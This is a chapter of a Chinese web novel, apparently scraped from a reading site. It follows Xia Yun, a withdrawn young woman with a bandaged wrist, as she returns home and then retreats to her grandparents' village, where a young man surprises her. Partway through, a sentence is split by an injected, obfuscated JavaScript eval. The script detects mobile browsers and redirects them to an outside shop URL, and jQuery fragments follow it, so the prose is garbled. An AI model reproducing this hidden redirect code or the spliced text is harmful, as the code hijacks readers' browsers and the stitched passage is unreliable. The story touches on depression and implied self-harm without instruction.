电话那头陷入了长达数秒的沉默。空气仿佛被凝滞，只剩下电流微弱的底噪。


    “怎么了？”


    周予安的声音再次响起，带着一丝不易察觉的紧绷，和小心翼翼的试探，“是不是……出什么事了？”


    夏昀握着手机的指尖用力到发白，目光落在左手腕缠着的纱布上，声音却努力维持着一种事不关己的平淡：“没有，什么都没有。你把地址发给我就行。”


    说完，她没有给对方任何追问的机会，径直挂断了电话。


    屏幕暗了下去，但很快又亮起。是周予安回拨的电话。


    她没接。


    电话自动挂断后，微信消息的提示音接二连三响起，屏幕上他的名字不断跳动，带着无声的焦急。


    夏昀只是静静地看着，看着那个不断增加、最终归于沉寂的红色数字，内心反而升起一种近乎残忍的平静。


    终于，手机屏幕上弹出一条新信息，只有一个简短的地址。


    夏昀看着那行字，紧绷的神经末梢，才终于松弛了那么一丝。


    她无声地长吐出一口气。


    几天后，回家的飞机上。


    窗外的云海翻涌，如同凝固的、巨大的棉絮，阳光刺眼。


    夏昀戴着帽子，将视线隔绝在机舱昏暗的光线里。左手边坐着陌生人，她将裹着纱布的手腕缩进袖子里。


    飞行时间不长，落地，取行李，走出接机口。一眼就看到了等在人群里的父亲，和翘首以盼的妹妹夏晴。


    “姐！”


    夏晴眼尖，看到她便小跑过来，给了她一个轻轻的拥抱，在她耳边小声说，“辛苦了，回家就好。”


    夏昀身体僵了僵，抿紧唇，什么都没回应，只是将左手往身后藏了藏。


    父亲走过来，接过她手里的行李，目光在她脸上停留了一瞬，眉头微不可察地蹙了蹙，没多说什么，只是转身：“走吧，车在那边。”


    车子驶上回家的高速。车厢里很安静，只有电台播放着舒缓的轻音乐。


    父亲透过后视镜看了她一眼，终于还是开口，语气是那种惯常的、带着点权威的说教：“回家了就好好休息，把作息正过来。别天天熬到半夜，早上又起不来，对身体不好。”


    坐在副驾的母亲立刻低声制止：“好了，少说两句。孩子刚回来。”


    夏昀原本靠在窗边，看着飞速后退的城市边缘景色。听到父亲的话，她没有反驳，没有应声。


    直到车子拐过一个弯，阳光的角度变换，晃了一下她的眼睛。


    她忽然开口，声音不大，平平的，像在陈述一件与己无关的事：“我每天晚上都做噩梦。”


    音乐声还在流淌，车厢里的空气却骤然凝固了。


    副驾的母亲和旁边的夏晴同时转过头看她，眼神里混杂着惊愕，和来不及掩饰的忧虑。


    夏昀没有看她们，她的视线落在窗外掠过的、光秃秃的行道树上，眼神是空的，木然的，“每天晚上一闭上眼，脑子里就有很多很多人在说话，吵得我睡不着。”


    比起质问，更多的一种近乎孩童般的、纯粹的迷茫：“你们……难道没有吗？”


    像一个巨大的无声的问号，沉甸甸地砸在车厢里。没有人回答。死一般的寂静笼罩了狭小的空间，连电台的音乐都显得格外突兀。


    车子在一个漫长的红灯前停下。引擎发出低微的嗡鸣。父亲的手搭在方向盘上，指节微微用力。


    他没有看后视镜，也没有看身边的母亲，只是目视前方，对后座的夏晴吩咐：“二妹，你今天跟你姐姐把房间换一下。你和妹妹住姐姐那间屋，你们俩的房间安静点，靠里面，晚上没车吵。”


    夏晴愣了一下，立刻反应过来，用力点头：“好，我回去就收拾！”


    绿灯亮了，车子重新启动。没有人再提起关于噩梦和声音的话题。仿佛刚才那段对话，只是一个短暂的不和谐插曲，已经被迅速而默契地翻了篇。


    回家后的日子，在一种小心翼翼、刻意维持的正常中滑过。夏昀大部分时间待在换过的、更安静的房间。


    夏晴和妹妹夏暖尽量不去打扰她，只是偶尔会探头进来，放下切好的水果，或者问她晚上想吃什么。


    父亲不再说教，只是回家的时间似乎早了，看新闻的声音也调小了。母亲的眼神总是欲言又止，但最终只是更勤快地往她碗里夹菜。


    这份刻意营造的宁静，像一层薄薄的冰壳，看似平静，底下却涌动着无形的暗流。


    夏昀能感觉到家人目光中小心翼翼的探寻，能听到他们压低声音的交谈，能察觉到他们试图掩盖的担忧。


    这反而让她更加喘不过气。她像一件易碎的、需要被特殊对待的瓷器，被无声地隔离在“正常”的生活之外。


    没等到过年，夏昀主动提出，不想等过完年，想马上去乡下奶奶家。


    父亲沉默地抽了支烟，最终点点头：“也好，乡下清静，空气好。”


    第二天，父亲开车送她去乡下。


    车子驶出城市，高楼大厦逐渐被低矮的平房和田野取代。


    冬天的乡村萧瑟又开阔。阳光苍白但明亮，田野褪去了夏秋的绿与金黄，露出大片休耕的褐色土地。路边的树木光秃秃的，枝桠像伸向天空的、静默的手。


    偶尔有土狗在路边慢悠悠地踱步，看到车子经过，警惕地看一眼，又低下头去。


    车子拐进熟悉的村道，最后稳稳停在一个熟悉的农家小院门口。发动机熄火，四周瞬间安静下来，只剩下远处偶尔传来的几声鸡鸣犬吠。


    夏昀推开车门，没受伤的手提着背包。


    院子里晾晒着几件洗得发白的旧衣服，在微风里轻轻晃动。听到动静，奶奶步履稳健地走了出来。


    她眯着眼看了几秒，待看清是夏昀，立刻加快脚步走了过来，布满皱纹的手一把抓住夏昀的右手，上下打量着，声音带着心疼的颤抖：“哎哟，昀崽来了啊，怎么瘦成这样了？在外面是不是没好好吃饭？受罪了，受罪了……”


    奶奶的手掌粗糙而温暖的手掌，毫不掩饰的心疼语气，让夏昀鼻子一酸，眼眶瞬间就热了。


    她连忙低下头，用力眨了眨眼，把泪意逼回去。


    这时，爷爷也背着手，不紧不慢地从屋里踱了出来。他站在奶奶身后，看着夏昀，表情依旧严肃，语气却放得缓和：“回来就好。让你奶奶多做点好吃的，把掉的肉，都给我长回来。”


    阳光洒在院子里，暖洋洋的。风里带着泥土和干草的味道。


    这里没有小心翼翼的窥探，没有刻意压低的交谈，只有爷爷奶奶最直接最朴素的关切。


    ……


    冬日澄澈的阳光斜切进窗，照亮光柱中浮游旋转的尘埃，像一场缓慢的金色的雪。


    夏昀躺在床上，耳朵能捕捉到窗外风穿过树梢时，那种干燥的沙沙声，像谁在轻轻翻动一页页极薄极脆的纸。


    视线越过窗格，望见一方被切割的蓝天，蓝得让人发空。


    不想起床。


    这念头顽固地盘踞着。


    她闭上眼，试图再次进入睡眠。


    来乡下奶奶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035186|194398||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家已经大半个月了，日子被拉长、稀释，像兑了太多水的粥。


    爷爷奶奶从不会像母亲那样，在清晨用充满生活力的声响催她起床。但无论她睡到日上三竿，还是天色将晚，厨房的灶上，总温着一份留给她的“早饭”。


    他们沉默宽容地，允许她像一株休眠的植物，停留在自己的时间里。


    意识在清醒与昏沉的边界模糊地漂了几十分钟，最终还是被膀胱的充盈感强硬地拽了回来。


    挣扎了十几分钟，夏昀还是单手撑着略硬的床垫坐起身。


    解决完生理需求，回到二楼那个兼作盥洗室的小隔间。


    看着漱口杯里那支孤零零的牙刷，她没有去拿。


    光是想到拿起牙刷、挤牙膏、来回摩擦的步骤，疲惫感就扑面而来。


    算了。


    她放弃了。


    走下楼，一楼空无一人。堂屋里静悄悄的，只有老式座钟钟摆规律的滴答声。


    不知爷爷是去菜地浇水了，还是拎着他的小马扎，找村头的老伙计下象棋去了；奶奶或许去了邻里串门，和她的老姐妹们晒着太阳，絮叨着永远也说不完的家长里短。


    桌上罩着防蝇的纱罩，底下是一盆白白胖胖的包子馒头，旁边的小锅里，粥还温着，米香淡淡。


    夏昀什么也不想吃。


    单手把一把旧竹椅艰难拖到院子里，放在能被阳光完全笼罩的地方。


    她坐下，后背躺上去。


    已经过完年了。除夕和初一那两天，全世界都沉浸在团聚的喧闹和喜悦里，她却像一只畏惧光亮的老鼠，蜷缩在二楼的阴影里，用被子蒙住头，连下楼吃顿饭的勇气都攒不起来。


    其实今天，最初也想就那么继续在床上躺着，但不知怎的，莫名地，想出来坐一会儿。


    像一尊被抽筋剔骨、徒留外壳的泥塑，她仰面躺在竹椅上，闭上眼。


    冬日的阳光毫无遮挡地落在脸上、身上，渐渐积蓄起一些暖意。


    腿上忽然一沉，多了个有分量的温暖活物。她没有睁眼，只是抬起没受伤的右手，放上去，指尖陷入一片绵密厚实的猫毛里。


    “开心”在她腿上找了个舒适的位置，团成毛茸茸的一团，喉咙里发出惬意的呼噜声。


    阳光，猫的体温，远处隐约的鸡鸣犬吠，风拂过树叶的碎响……一切混合成一种令人昏昏欲睡的安宁基调。


    意识又开始变得模糊，向着睡眠的边缘滑去。


    就在这半梦半醒、现实与梦境界限模糊的当口，一阵由远及近的汽车引擎声，不太客气地撕破了这片静谧。


    她没去管，大概又是邻居家来了客人。


    直到——


    “砰！”


    一声清晰利落，距离近得仿佛就在耳边的关门声，猛地将她从混沌的边缘拽了回来。


    心脏莫名地漏跳了一拍。


    带着点被打扰的不悦和未散的迷蒙，她缓缓睁开了眼睛。


    午后阳光刺目，她眯起眼。


    一个高大身影逆光而来，周身勾勒出一圈毛茸茸的金边。


    待他走近，脱离光晕，夏昀终于看清了他的脸。


    惊愕，像一颗投入深潭的石子，在她空洞的眼眸里激起了一圈难以置信的涟漪。


    来人站定在她面前，挡住了部分阳光，投下一片带着体温的阴影。


    看着竹椅上目瞪口呆的她，他嘴角一点点向上扬起，最终绽开一个灿烂得晃眼的笑容，清朗的声音，撞破了小院凝固的时光：


    “我的大小姐，新年快乐啊。”